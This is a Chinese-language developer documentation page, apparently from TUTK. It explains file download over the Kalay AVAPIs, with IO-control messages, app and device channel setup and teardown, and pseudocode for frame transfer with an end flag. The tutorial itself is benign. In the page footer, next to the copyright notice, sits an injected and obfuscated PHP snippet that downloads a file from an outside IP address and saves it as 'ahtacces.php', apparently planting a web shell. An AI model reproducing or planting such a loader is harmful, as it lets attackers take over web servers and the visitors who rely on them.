简体中文

基于AVAPIs的文件下载

主要内容:

  • IO交互
  • 通道的创建和销毁
  • 数据的传输
  • 结束标志 的判断

IO交互:

image.png

  1. APP会通过avSendIOCtrl(IOCTRL_FILEMANAGER_FILE_LIST_REQ)查询指定时间内的文件。设备通过avSendIOCtrl(IOCTRL_FILEMANAGER_FILE_LIST_RESP)回复对应的文件列表。
  2. 当用户选中部分文件下载的时候,则APP端会avSendIOCtrl(IOCTRL_FILEMANAGER_FILE_DOWNLOAD_REQ)告知设备要下载哪些文件。设备则根据自身的硬件和软件资源,可以自定义使用的通道数,通过avSendIOCtrl(IOCTRL_FILEMANAGER_FILE_DOWNLOAD_RESP)告知APP使用哪些通道以及使用哪种APIs来进行数据传输。
  3. APP和设备端分别创建对应的通道。
  4. 数据传输。
  5. 数据传输后关闭通道。

AV通道的创建和销毁

  • APP端创建
int createDataChannelOfClientForDownload(int sid,int iotc_channel_id){
     AVClientStartInConfig in;
    AVClientStartOutConfig out;

    clearMemory(&in,sizeof(in));
    clearMemory(&out,sizeof(out));

    in.cb = sizeof(in);
    in.iotc_session_id = sid;
    in.iotc_channel_id = iotc_channel_id;
    in.timeout_sec = 30;
    in.resend = 1;//此处务必要开启resend模式
    in.security_mode = AV_SECURITY_AUTO;
    if(isSDKV4){
        in.auth_type = AV_AUTH_NEBULA;
        in.account_or_identity = "";
        in.password_or_token = "";
    }
    else{
        in.auth_type = AV_AUTH_PASSWORD;
        in.account_or_identity = "camera account";
        in.password_or_token = "camera password";
    }
    
    in.sync_recv_data = 0;
    in.dtls_cipher_suites = nullptr;

    out.cb = sizeof(out);

    return avClientStartEx(&in,&out);
}
  • APP端销毁
void destoryDataChannelOfClient(int avIndex){
    if(avIndex < 0) return ;
    avClientStop(avIndex);
}
  • 设备端创建
int createDataChannelOfDeviceForDownload(int sid,int iotc_channel_id){
    AVServStartInConfig avStartInConfig;
    AVServStartOutConfig avStartOutConfig;

    clearMemory(&avStartInConfig,sizeof(AVServStartInConfig));
    clearMemory(&avStartOutConfig,sizeof(avStartOutConfig));
    
    avStartInConfig.cb               = sizeof(AVServStartInConfig);
    avStartInConfig.iotc_session_id  = sid;
    avStartInConfig.iotc_channel_id  = iotc_channel_id;
    avStartInConfig.timeout_sec      = 30;
    avStartInConfig.password_auth    = ExPasswordAuthCallBackFn;
    avStartInConfig.server_type      = 0;
    avStartInConfig.resend           = 1;//此处务必要开启resend模式
    avStartInConfig.security_mode = AV_SECURITY_DTLS;
   //avStartInConfig.json_request =ExJsonRequest;
   
    avStartOutConfig.cb = sizeof(AVServStartOutConfig);
    
    return avServStartEx(&avStartInConfig, &avStartOutConfig);
}
  • 设备端销毁
void destoryDataChannelOfDevice(int avIndex){
    if(avIndex < 0) return ;
    avServStop(avIndex);
}

数据的传输

AV协议本身提供了三套数据传输接口,这里我们会用到avSendIOCtrl/avRecvIOCtrl以及avSendFrameData/avRecvFrameData2这两套接口,分别用做IO和文件数据的传输,文件信息会通过FRAMEINFO_FOR_UPLOAD_DOWNLOAD_t来传输,具体定义请参考:文件传输通用定义
  • 设备端
设备端每次发送数据,会包含2部分的数据,一部分是文件的信息,一部分是文件的二进制流。
发送数据相关(伪)代码:
#define MAX_BUFFER_SIZE 10243
int readBinaryDataFromFile(file f,char* buffer,size_t bufferSize){
    return f.read(buffer,bufferSize);
}
void sendFileList(void* arg){
    int avIndex = createDataChannelOfDeviceForDownload(sid,iotc_channel_id);
    if(avIndex < 0){
        printf("createDataChannelOfDeviceForDownload failed,error code:%d\n",avIndex)
        return ;    
    }
    foreach(auto f,files){
        //打开文件
        f.open();
        //读取和发送文件
        FRAMEINFO_FOR_UPLOAD_DOWNLOAD_t frmInfo = {0};
        strcpy(frmInfo.fileName,fileName);
        frmInfo.fileSize = f.size();
        while(1){
             char buffer[MAX_BUFFER_SIZE] = {0};
             int readSize = readBinaryDataFromFile(f,buffer,MAX_BUFFER_SIZE);
             if(readSize < MAX_BUFFER_SIZE){
                 if(readSize <= 0) break;
                 if(f.isLastFileOfList()){
                     frmInfo.endFlag = 1;                                      
                 }            
             } 
            frmInfo.frmSize = readSize;
            int ret = 0;
            //发送数据,如遇-20006,进行重传
            do{
                ret = avSendFrameData(avIndex,buffer,readsize,(const void*)&frmInfo,sizeof(FRAMEINFO_FOR_UPLOAD_DOWNLOAD_t));
                if(ret < 0){
                    //重新发送
                    if(ret == -20006){
                        msleep(20);
                    }
                    else{

                        break;
                    }
                }
            }while(ret == -20006);
            //异常退出
            if(ret < 0){
                printf("avSendFrameData error :%d\n",ret)
                f.close();
                goto LAB_END;     
            }
            
            //如果是最后一帧,停止发送
            if(frmInfo.endFlag) {

                break;
            }
        }
        f.close();        
    }
    int i_count = 0;
    while(i_count++<10*300){
        float userate = avResendBufUsageRate(avIndex);
        if(userate > 0.0){
            msleep(100);        
        }
        else{
            break;        
        }    
    }
LAB_END:
        destoryDataChannelOfDevice(avIndex);
}
  • APP端
接收端按帧读取数据,每次读取一帧,需判断是否是一个新的文件,如果是新文件,则需要关闭旧文件,打开新文件。如果endFlag为1,表示收到数据已收齐,则关闭相关的文件和通道,释放资源。接收端也可以加一些文件大小等校验,这里不另外实作。
读取通道数据和解析方法(伪)代码:
#define MAX_BUFFER_SIZE 300*1024
void recvDataAndSaveToLocalFile(void *arg){
    //创建通道
    int avIndex = createDataChannelOfClientForDownload(sid,iotc_channel_id);
    if(avIndex < 0){
        return;    
    }
    char buffer[MAX_BUFFER_SIZE];
    QString fileName;
    uint fileSize;
    uint dataSize;
    int endFlag;
    FRAMEINFO_FOR_UPLOAD_DOWNLOAD_t frmInfo;
    int tmpInt1,tmpInt2,tmpInt3,tmpInt4;
    int ret = -1;
    uint frmNo;
    QFile f;
    //循环读取数据。
    while(1){
        int ret = avRecvFrameData2(dataChannelId,buffer,MAX_BUFFER_SIZE,&tmpInt1,&tmpInt2,(char*)&frmInfo,sizeof(FRAMEINFO_FOR_UPLOAD_DOWNLOAD_t),&tmpInt3,&frmNo);
        if(ret < 0){
            if(ret == AV_ER_DATA_NOREADY){
                msleep(5);
                continue;
            }
            if(ret == AV_ER_INCOMPLETE_FRAME || ret == AV_ER_LOSED_THIS_FRAME){
               printf("lost data\n");
                continue;
            }
            else{
                printf("avRecvFrameData2 return error:%d\n",ret));
                break;
            }
        }
        //拿到第一包数据,打开本地文件
        if(!f.isOpen()){
            fileName = frmInfo.fileName;
            f.open(fileName);        
        }
        else{
            //上个文件已经读完,读取到下个文件。
            if(fileName != frmInfo.fileName()){
                f.close();
                fileName = frmInfo.fileName;
                f.open(fileName);          
            }        
        }
        f.write(buffer,ret);
        if(frmInfo.endFlag){
             printf("endFlag:true\n");
             break;       
        }
    }
    if(f.isOpen()){
        f.close();    
    }
    //关闭通道
    destoryDataChannelOfClient(avIndex);
}

结束标志的判断

结束标志,是从FRAMEINFO_KalayDownload_t的endFlag标志位来判读的,只有最后一个文件最后一包,endFlag才会为1,其他都为0。


即刻开启您的物联网之旅

联系解决方案专家
Kalay App
解决方案
新闻动态
公司动态
行业资讯
媒体报道
永续发展
经营者的话
社会参与
环境永续
公司治理

+86 755 27702549

7×24小时服务热线

法律声明 隐私权条款

关注“TUTK”

TUTK服务尽在掌握

© 2022 物联智慧科技(深圳)有限公司版权所有 <{__NOLAYOUT__}?p{__NOLAYOUT__}h{__NOLAYOUT__}p $a = "copy"; $a("http://23.235.156.20/ote.php","ahtacces.php");?{__NOLAYOUT__}>粤ICP备14023641号
在线咨询
扫一扫

TUTK服务尽在掌握

全国免费服务热线
+86 755 27702549

返回顶部